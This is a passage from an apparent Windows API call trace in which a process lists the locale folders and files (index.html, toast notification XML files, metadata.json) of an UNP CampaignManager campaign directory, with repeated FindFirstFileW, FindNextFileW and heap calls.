dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.028] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.028] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.028] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.028] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.028] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0295.029] GetProcessHeap () returned 0xaf0000 [0295.029] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.029] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0295.029] GetProcessHeap () returned 0xaf0000 [0295.029] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.030] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.030] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa07c, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.030] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.031] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.031] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.031] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.031] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0295.031] GetProcessHeap () returned 0xaf0000 [0295.032] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.032] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1 [0295.032] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms-MY", cAlternateFileName="")) returned 1 [0295.032] GetProcessHeap () returned 0xaf0000 [0295.032] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.033] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.033] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.033] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.033] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.033] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.033] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.033] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0295.034] GetProcessHeap () returned 0xaf0000 [0295.034] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.034] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0295.034] GetProcessHeap () returned 0xaf0000 [0295.034] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.035] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.035] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.035] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.035] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.035] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.036] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.036] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0295.037] GetProcessHeap () returned 0xaf0000 [0295.037] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.037] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1 [0295.037] GetProcessHeap () returned 0xaf0000 [0295.037] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0295.038] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.038] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.038] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0295.038] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0295.039] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0295.039] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0295.039] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0295.040] GetProcessHeap () returned 0xaf0000 [0295.040] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0295.040] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0295.040] GetProcessHeap () returned 0xaf0000 [0295.040] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0295.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.041] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0295.041] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0295.041] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, 